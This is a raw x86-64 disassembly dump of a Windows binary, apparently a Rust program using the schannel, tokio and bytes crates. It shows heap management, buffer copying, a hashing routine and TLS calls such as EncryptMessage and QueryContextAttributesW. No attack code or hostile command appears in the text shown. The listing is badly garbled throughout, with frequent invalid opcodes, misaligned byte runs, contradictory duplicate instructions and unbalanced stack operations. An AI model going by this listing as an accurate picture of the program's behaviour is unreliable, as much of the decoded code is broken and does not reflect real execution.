test rax, rax
je 0x1401036bf
invalid
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1401036df
mov ecx, 8
mov rdx, r14
call fcn.14015d7f0
ud2
mov r15d, 8
mov edi, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
test al, 0
add byte [rax], al
invalid
jmp 0x140103781
mov r15d, 8
xor edi, edi
mov qword [rsp + 0x28], rsi
jmp 0x14010373d
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x64933
adc eax, 0x64933
mov rbp, rax
test rax, rax
je 0x14010379d
invalid
add byte [rax - 1], cl
invalid
dec rsi
add rbx, 0x18
mov rcx, rbp
mov rdx, r13
mov r8, r12
loopne 0x14010370a
xchg r12d, eax
add eax, 0x2c894900
invalid
mov qword [r15 + rdi + 8], r12
invalid
or byte [rbp - 0x77], cl
mov dword [rdi + rdi + 0x10], esp
add rdi, 0x18
test rsi, rsi
je 0x140103777
cmp r14, rdi
je 0x140103777
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
invalid
jne 0x1401036f7
sal byte [rbp - 0x6c], 0xff
adc eax, 0x648c7
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
sal byte [rbp - 0x7e], 0xeb
sub eax, 0x1bd
add bl, ch
invalid
test rax, rax
jne 0x1401036f0
jmp 0x14010379d
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], r15
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov rdx, r12
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
int3
and al, 0x20
call fcn.140104740
cmp dword [rsp + 0x20], 2
and byte [rdx], al
and byte [rdx], al
jne 0x140103809
mov rbx, qword [rsp + 0x28]
mov r14d, ebx
and r14d, 3
lea rax, [0x14020aab4]
movsxd rcx, dword [rax + r14*4]
add rcx, rax
jmp rcx
movzx eax, byte [rbx + 0x10]
cmp al, 0xd
je 0x140103865
jmp 0x1401038fa
lea rcx, [rsi + 8]
mov r8d, 0x228
or byte [rcx - 0x48], al
sub byte [rdx], al
add byte [rax], al
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 0
mov dword [rsi], 0
mov dword [rsi], 0
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
cmp byte [rbx + 0xf], 0xd
jne 0x1401038fa
test esp, eax
add byte [rax], al
invalid
test esp, eax
add byte [rax], al
add byte [rax - 0x73], cl
or byte [rcx - 0x48], r8b
lea rcx, [rsi + 8]
mov r8d, 0x228
sub byte [rdx], al
add byte [rax], al
sub byte [rdx], al
add byte [rax], al
mov rdx, rdi
mov edx, edi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
jmp 0x140103884
invalid
xor ecx, dword [rax - 0x77]
invalid
mov rcx, rbx
shr rcx, 0x20
call fcn.14012f020
cmp al, 0xd
jne 0x1401038fa
lea rcx, [rsi + 8]
mov r8d, 0x228
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
cmp r14d, 1
jne 0x140103822
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1401038b9
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140103822
mov rax, rbx
shr rax, 0x20
cmp eax, 0xd
jne 0x1401038fa
lea rcx, [rsi + 8]
mov r8d, 0x228
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
jmp 0x140103822
mov qword [rsi + 8], 2
mov qword [rsi + 0x10], rbx
mov qword [rsi], 1
mov rcx, rdi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1401014b0
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm6
movaps xmmword [r14], xmm9
mov qword [r14 + 0x10], 0
mov qword [rsp + 0x28], rbx
mov r8d, 8
add byte [rax - 0x77], cl
int1
mov rdx, rdi
call fcn.140006000
mov rax, qword [rsp + 0x40]
and al, 0x40
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
shl byte [rax], 0x48
mov edx, dword [rsp + 0x38]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
xor eax, edx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
rol eax, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
rol ecx, 0x15
rol ecx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
and byte [rax + 1], cl
retf 0xc148
rcl dword [rax], 0x48
xor ecx, edx
and byte [rax + 1], cl
retf 0xc148
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
and byte [rcx + rsi - 0x3f], cl
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
adc byte [rax + 0x31], cl
ror dword [rax - 0x3f], 1
rcl dword [0x188d06d0a], 1
ret 0xc148
rcl byte [rcx], 0x49
mov eax, edx
rcl byte [rcx], 0x49
mov eax, edx
rol r8, 0x20
xor r8, rax
ror byte [rcx + 0x31], 0xc8
ror byte [rcx + 0x31], 0xc8
inc rbx
xor r8, rdx
je 0x140103ab0
mov eax, dword [0x1402153fc]
add eax, 0x11181a
adc dword [rax], eax
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 8], 1
mov qword [rax + 0x10], r8
invalid
or byte [rax], al
add byte [rax], al
add dword [rcx + rcx*4 - 0x80], ecx
adc byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
sub byte [rsp + 0x80], dh
and al, 0x80
add byte [rax], al
invalid
movaps xmm6, xmmword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rdi], cl
sub byte [rsp + 0x90], bh
nop
add byte [rax], al
invalid
movaps xmm7, xmmword [rsp + 0x90]
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movaps xmm8, xmmword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rdi + rcx + 0x28], al
mov word [rax + rsi*4], fs
movaps xmm9, xmmword [rsp + 0xb0]
add rsp, 0xc8
add esp, 0xc8
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add esp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, r8
mov rsi, rcx
mov qword [rcx + 0x138], rdx
mov r12, qword [r8]
mov r15, qword [r8 + 8]
mov rbx, qword [r8 + 0x10]
mov r14, qword [r8 + 0x18]
mov esi, dword [rax + 0x18]
mov esi, dword [rax + 0x18]
mov r8, r15
sub r8, r14
jbe 0x140103c88
add r14, r12
mov rcx, r14
int1
int1
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cld
mov es, word [0x1bf998884]
add byte [rcx + rcx*4 + 0x7f], cl
sbb byte [rbp - 0x77], cl
invalid
cmp r15, rbx
cmp edi, ebx
jb 0x140103e8c
sub r15, rbx
add r12, rbx
lea rbp, [rsp + 0x28]
insb byte [rdi], dx
and al, 0x28
nop dword [rax]
mov rdx, qword [rsi + 0x170]
mov rcx, qword [rsi + 0x178]
mov ecx, dword [rsi + 0x178]
cmp rcx, rdx
ja 0x140103e7e
jne 0x140103d33
clc
add dword [rbp + 0x51], esi
cmp qword [rsi + 0x1f8], 0
je 0x140103cff
mov rcx, rbp
mov rdx, rsi
call fcn.140105b60
cmp qword [rsp + 0x28], 0
mov r13, qword [rsp + 0x30]
mov ebp, dword [rsp + 0x30]
jne 0x140103d28
test r13, r13
je 0x140103d33
mov qword [rsi + 0x1f8], 0
mov rcx, rbp
mov rdx, rsi
call fcn.140105d90
invalid
bnd call fcn.140105d90
cmp byte [rsp + 0x28], 0
jne 0x140103db6
cmp byte [rsp + 0x29], 0
je 0x140103ca0
jmp 0x140103d33
test r13, r13
jne 0x140103dbb
mov al, byte [rax]
add byte [rax], al
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add bl, ch
pop rdi
jmp 0x140103d92
mov rcx, r12
mov r12, qword [rsi + 0x170]
cmpsb byte [rsi], byte [rdi]
jo 0x140103d3c
add byte [rax], al
loope 0x140103d83
mov esp, dword [rsi + 0x170]
cmpsb byte [rsi], byte [rdi]
jo 0x140103d3c
add byte [rax], al
add byte [rbx + rcx*4 - 0x52], cl
js 0x140103d43
invalid
mov r13, qword [rsi + 0x178]
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x1b], cl
mov rbp, r12
sub rbp, r13
jb 0x140103ea0
push rax
add dword [rax], eax
invalid
push rax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esi, eax
invalid
mov rdx, qword [rsi + 0x160]
add rdx, r13
cmp r15, rbp
cmovb rbp, r15
out dx, eax
out dx, eax
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
add r13, rbp
cmp r13, r12
ja 0x140103eb4
xchg dword [rdi], edi
add dword [rax], eax
invalid
xchg dword [rdi], edi
add dword [rax], eax
add byte [rcx + rcx*4 - 0x52], cl
mov qword [rsi + 0x178], r13
js 0x140103d7b
add byte [rax], al
add byte [rax + 1], cl
jmp 0x140103d8f
add rbx, rbp
jb 0x140103ece
add byte [rax], al
cmp rbx, r14
ja 0x140103ee8
xchg dword [rdx + 1], ebx
add byte [rax], al
mov qword [rdi + 0x10], rbx
mov dword [rdi + 0x10], ebx
pop rdi
adc byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
mov qword [rsi + 0x138], 0
xor eax, eax
ror byte [rcx + rcx*4 - 0x16], 0x48
add esp, 0x58
mov rdx, r13
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov r13, qword [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
mov edi, r13d
mov edi, ebp
and edi, 3
add ecx, dword [rax - 0x73]
lea rax, [0x14020aac4]
add eax, 0x106cfc
movsxd rcx, dword [rax + rdi*4]
invalid
add rcx, rax
jmp rcx
invalid
loope 0x140103e13
movzx eax, byte [r13 + 0x10]
movzx eax, byte [rbp + 0x10]
cmp al, 0xd
jne 0x140103d95
jmp 0x140103e00
cmp byte [r13 + 0xf], 0xd
or eax, 0xc748b275
xchg byte [rax], bh
jne 0x140103d95
mov qword [rsi + 0x138], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
and byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x140103e10
mov rcx, r13
shr rcx, 0x20
call fcn.14012f020
and al, 0xb2
add al, byte [rax]
cmp al, 0xd
jne 0x140103d95
mov qword [rsi + 0x138], 0
cmp edi, 1
jne 0x140103e74
lea rsi, [r13 - 1]
mov rdi, qword [r13 - 1]
dec dword [rcx - 0x75]
jge 0x140103e17
dec dword [rcx - 0x75]
pop rbp
mov rbx, qword [r13 + 7]
mov rcx, rdi
call qword [rbx]
invalid
cmp qword [rbx + 8], 0
je 0x140103e45
cmp qword [rbx + 0x10], 0x11
cmp dword [rbx + 0x10], 0x11
jb 0x140103e33
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
adc dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jrcxz 0x140103e84
invalid
mov rcx, qword [0x140215360]
adc eax, 0xd2310011
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140103e74
mov rax, r13
shr rax, 0x20
cmp eax, 0xd
clc
or eax, 0xff2c850f
invalid
invalid
invalid
clc
or eax, 0xff2c850f
invalid
invalid
mov qword [rsi + 0x138], 0
mov eax, 1
jmp 0x140103da2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
call fcn.140160e60
ud2
add al, ch
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
mov rcx, rbx
mov rdx, r15
call fcn.140161190
ud2
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401d78c0]
mov rcx, r13
mov rdx, r12
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:_pos___self.dec_in.get_ref__.len___as_u64
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x3b
call fcn.140160fb0
ud2
lea rcx, str.filled_overflowfilled_must_not_become_larger_than_initialized
lea r8, [0x1401d7cb8]
mov edx, recv
call fcn.140161290
ud2
lea rax, [0x1401dea80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 1
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0x38], rax
and al, 0x38
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
adc dword [rsp + 0x40], eax
adc dword [rsp + 0x40], eax
lea rdx, [0x1401d7cb8]
lea rcx, [rsp + 0x28]
call fcn.140160e20
invalid
invalid
add byte [rdi], cl
invalid
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
int3
int3
sub esp, 0x30
mov rsi, rcx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.1401043f0
mov rax, rsi
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov qword [rcx + 0x138], rdx
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x20
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x20
mov rdx, rsi
mov edx, esi
call fcn.1401058a0
cmp qword [rsp + 0x20], 0
jl 0x140103f96
and byte [rax], al
jl 0x140103f96
and byte [rax], al
je case.default.0x140103f8e
mov rdi, qword [rsp + 0x28]
mov ebx, edi
and ebx, 3
lea rax, [0x14020aad4]
lea eax, [0x14020aad4]
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
sar edi, 0xe1
movzx eax, byte [rdi + 0x10]
cmp al, 0xd
mov dh, 0x47
adc byte [rcx - 0x3d16af8c], bh
push rax
jmp case.0x1400e91e9.123
mov rdx, qword [rsi + 0x138]
je 0x140103fe8
push rax
jmp case.0x1400e91e9.123
mov rdx, qword [rsi + 0x138]
mov edx, dword [rsi + 0x138]
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], cl
invalid
test rdx, rdx
je 0x1401040a1
test ah, dh
add byte [rax], al
add byte [rax - 0x73], cl
adc byte [rbx - 0x7af0fdc7], r8b
cmp dword [rcx], 2
jne 0x140104077
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
lea rcx, [rsi + 0x10]
cmp dword [rcx], 2
jne 0x140104077
add byte [rax], al
invalid
add byte [rax], al
xor edi, edi
jmp case.0x1400e91e9.123
invalid
add byte [rax], al
add byte [rax + 0xf0d0f7f], al
cmp byte [rdi + 0xf], 0xd
jne case.0x1400e91e9.123
xchg esp, eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
cmp byte [rdi + 0xf], 0xd
jne case.0x1400e91e9.123
xchg esp, eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
mov qword [rsi + 0x138], 0
xchg byte [rax], bh
cmp byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
and byte [rax - 0x77], cl
stc
jmp 0x140103ff8
mov rcx, rdi
shr rcx, 0x20
call fcn.14012f020
and al, ch
cmp al, 0xb0
add al, byte [rax]
cmp al, 0xd
jne case.0x1400e91e9.123
invalid
ja case.0x140103dcf.7
mov qword [rsi + 0x138], 0
mov dword [rsi + 0x138], 0
cmp ebx, 1
jne 0x140104058
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
pop rdi
dec dword [rax - 0x75]
mov edi, dword [rdi + 7]
mov edi, dword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
jg 0x140104015
invalid
je 0x14010402d
invalid
jg 0x140104015
add byte [rbp + rbx + 0x48], dh
sbb eax, 0x107f8348
adc dword [rdx + 4], esi
cmp qword [rdi + 0x10], 0x11
cmp dword [rdi + 0x10], 0x11
jb 0x14010401b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc edx, dword ds:[rcx]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x63ffb
mov rcx, qword [0x140215360]
or eax, 0x11132c
adc edx, dword [rcx]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140104058
mov rax, rdi
shr rax, 0x20
cmp eax, 0xd
jne case.0x1400e91e9.123
mov qword [rsi + 0x138], 0
xchg byte [rax], bh
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 1], bh
mov eax, 1
jmp 0x14010406c
mov qword [rsi + 0x138], 0
xor eax, eax
mov rdx, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
call fcn.1401059d0
test rax, rax
je 0x140104090
movabs rdi, 0xd00000003
jmp 0x140103f7b
invalid
dec dword [rax - 0x77]
xlatb
mov rdi, rdx
test rdx, rdx
jne 0x140103f7b
jmp 0x140103fba
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x1401d35c8]
mov edx, 0x29
call fcn.140160fb0
ud2
add dword [rax + 1], 0x85480000
sal byte [rbx + rcx - 0x7d], 0xf8
add cl, byte [rdi]
test byte [rbx - 0x15000000], bh
or dword [rax + 0x143be], eax
add byte [rax], al
jne 0x140104169
mov dword [rsp + 0x24], 1
add byte [rax], al
movabs rax, 0x200000004
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24]
and al, 0x24
and al, 0x24
and al, 0x24
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0x1c0]
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
test eax, eax
je 0x14010414d
mov edi, eax
shl rdi, 0x20
or rdi, 2
jmp 0x140104182
mov dword [rsi + 0x140], 0x1010000
mov byte [rsi + 0x144], 0
mov qword [rsi + 0x1f8], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x28]
and al, 0x28
mov rdx, rsi
call fcn.140104740
cmp dword [rsp + 0x28], 2
jl 0x14010419d
sub byte [rdx], al
jl 0x14010419d
sub byte [rdx], al
jne 0x1401041a1
mov rdi, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
mov ebx, edi
and ebx, 3
lea rax, [0x14020aae4]
imul edx, dword [rax], 0xc634800
cwde
movsxd rcx, dword [rax + rbx*4]
invalid
add rcx, rax
jmp rcx
movzx eax, byte [rdi + 0x10]
cmp al, 0xd
jne 0x1401041a3
add al, 0xeb
cmp eax, 0xc748ff31
xchg byte [rax], bh
add dword [rax], eax
add byte [rax], al
jmp 0x1401041de
xor edi, edi
mov qword [rsi + 0x138], 0
add byte [rax], al
add byte [rcx], dh
xor eax, eax
mov rdx, rdi
xor eax, eax
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
cmp byte [rdi + 0xf], 0xd
jne 0x1401041a3
or eax, 0xc748e275
xchg byte [rax], bh
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
and byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
shr rcx, 0x20
call fcn.14012f020
cmp al, 0xd
jne 0x1401041a3
mov qword [rsi + 0x138], 0
cmp ebx, 1
jne 0x140104235
lea rsi, [rdi - 1]
lea esi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140104223
cmp qword [rdi + 0x10], 0x11
jb 0x140104211
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
invalid
add eax, 0x4800063e
mov ecx, dword [0x140215360]
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x1401041b0
invalid
invalid
invalid
mov rax, rdi
shr rax, 0x20
cmp eax, 0xd
jne 0x1401041a3
pop rsi
ret
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
lea rcx, [rdx + 0x1c0]
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x28]
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x140104357
xor r15d, r15d
jmp 0x1401043cf
mov rbx, qword [rsp + 0x28]
mov r14, qword [rbx + 8]
mov edi, dword [rbx + 0x10]
jnp 0x140104373
jnp 0x140104373
test rdi, rdi
je 0x1401043b2
invalid
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
movups xmmword [rax], xmm0
adc dword [rax], eax
test rcx, rcx
jne 0x140104390
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp al, 6
add byte [rax - 0x7b], cl
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
ror byte [rdi], 1
adc dword [rax], eax
test rax, rax
je 0x1401043a3
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
invalid
sal byte [rbp + 0x15], 0xb9
add dword [rax], eax
add byte [rax], al
jne 0x1401043b8
mov ecx, 1
mov rdx, rdi
cli
call fcn.14015d7f0
ud2
invalid
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rdi
mov qword [rsi + 8], r15
mov qword [rsi], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
mov r12, r9
mov rsi, rdx
mov rdi, rcx
mov qword [rdx + 0x138], r8
invalid
cmp byte [rcx], al
add byte [rax], al
mov dword [rdx + 0x138], eax
invalid
lea rcx, [rsp + 0x28]
call fcn.140104740
mov eax, dword [rsp + 0x28]
cmp eax, 2
add dh, byte [rbp + 0x1a]
add dh, byte [rbp + 0x1a]
mov rbx, qword [rsp + 0x30]
mov eax, ebx
and eax, 3
lea rcx, [0x14020aaf4]
shl byte [rsi + 0x10], 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
test eax, eax
je 0x140104597
test byte [rdx + 1], dl
add byte [rax], al
mov r15, qword [rsi + 0x1b8]
cmp r15, qword [rsi + 0x1b0]
jne 0x1401045ed
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
invalid
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
invalid
xor byte [rcx + rcx*4 - 0xb], al
mov ebp, r14d
shr r14, 0x20
cmp rax, r14
cmovb r14, rax
mov edi, dword [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
lea r13, [r14 + rdi]
add rbp, r13
sub rbp, r15
jbe 0x1401044d1
mov rax, qword [rsi + 0x1a8]
sub rax, r15
xchg byte [rax + 0x4c000001], ch
sub eax, edi
cmp rax, rbp
jb 0x1401046db
invalid
mov rbx, qword [rsi + 0x1a0]
lea rcx, [rbx + r15]
cmp rbp, 2
jb 0x1401044c4
lea r8, [rbp - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add r15, rbp
dec r15
dec edi
add rbx, r15
mov rcx, rbx
mov byte [rcx], 0
inc r15
mov qword [rsi + 0x1b0], r15
mov dword [rsi + 0x1b0], edi
mov dword [rsi + 0x1b0], edi
mov al, 1
add byte [rax], al
cmp r15, r13
jb 0x14010470e
mov rbx, qword [rsi + 0x1a0]
lea rbp, [rbx + rdi]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
cmp r15, rdi
jb 0x140104722
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0x68], rax
and al, 0x68
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x70], rax
and al, 0x70
lea rcx, [rsi + 0x1c0]
lea r8, [rsp + 0x68]
lea eax, [rsp + 0x68]
lea eax, [rsp + 0x68]
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
adc eax, 0x63fa9
adc eax, 0x63fa9
test eax, eax
je 0x1401045ba
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov eax, ebx
and eax, 3
lea rcx, [0x14020aaf4]
add ecx, dword [rax - 0x73]
or eax, 0x10656b
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rdi, qword [rsp + 0x20]
mov edi, dword [rsp + 0x20]
mov edi, dword [rsp + 0x20]
jmp rax
movabs rbx, 0x8009031700000002
mov rcx, rbx
shr rcx, 0x20
call fcn.14012f020
cmp al, 0xd
je 0x140104697
add byte [rax], al
add byte [rbx + 0x3382444], cl
and al, 0x28
and al, 0x28
mov eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x28]
and al, 0x28
and al, 0x28
add eax, dword [rsp + 0x48]
cmp qword [rsi + 0x1b0], rax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
jl 0x1401045f5
invalid
add byte [rax], al
mov rdi, qword [rsp + 0x20]
and al, 0x20
and byte [rdx + 7], dh
jb 0x1401045db
mov qword [rsi + 0x1b0], rax
add byte [rax - 0x39], cl
xchg byte [rax + 1], bh
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x200], r14
mov qword [rsi + 0x1b8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x200], r14
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
lea rcx, [rsp + 0x28]
and al, 0x28
mov rdx, rsi
call fcn.1401058a0
cmp qword [rsp + 0x28], 0
lea rcx, [0x14020aaf4]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
or dword [rax + 1], 0xfe0ffc8
mov dh, 0x43
adc byte [rcx + 0x76eb6f74], bh
movzx eax, byte [rbx + 0x10]
cmp al, 0xd
je 0x140104697
jmp 0x1401046a0
cmp byte [rbx + 0xf], 0xd
jne 0x1401046a0
jnp 0x14010463c
or eax, 0x8d4c7075
jae 0x140104633
dec dword [rax - 0x39]
invalid
mov qword [rdi], 2
mov qword [rsi + 0x138], 0
mov dword [rsi + 0x138], 0
mov rsi, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140104677
cmp qword [rdi + 0x10], 0x11
cmp dword [rdi + 0x10], 0x11
jb 0x140104665
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
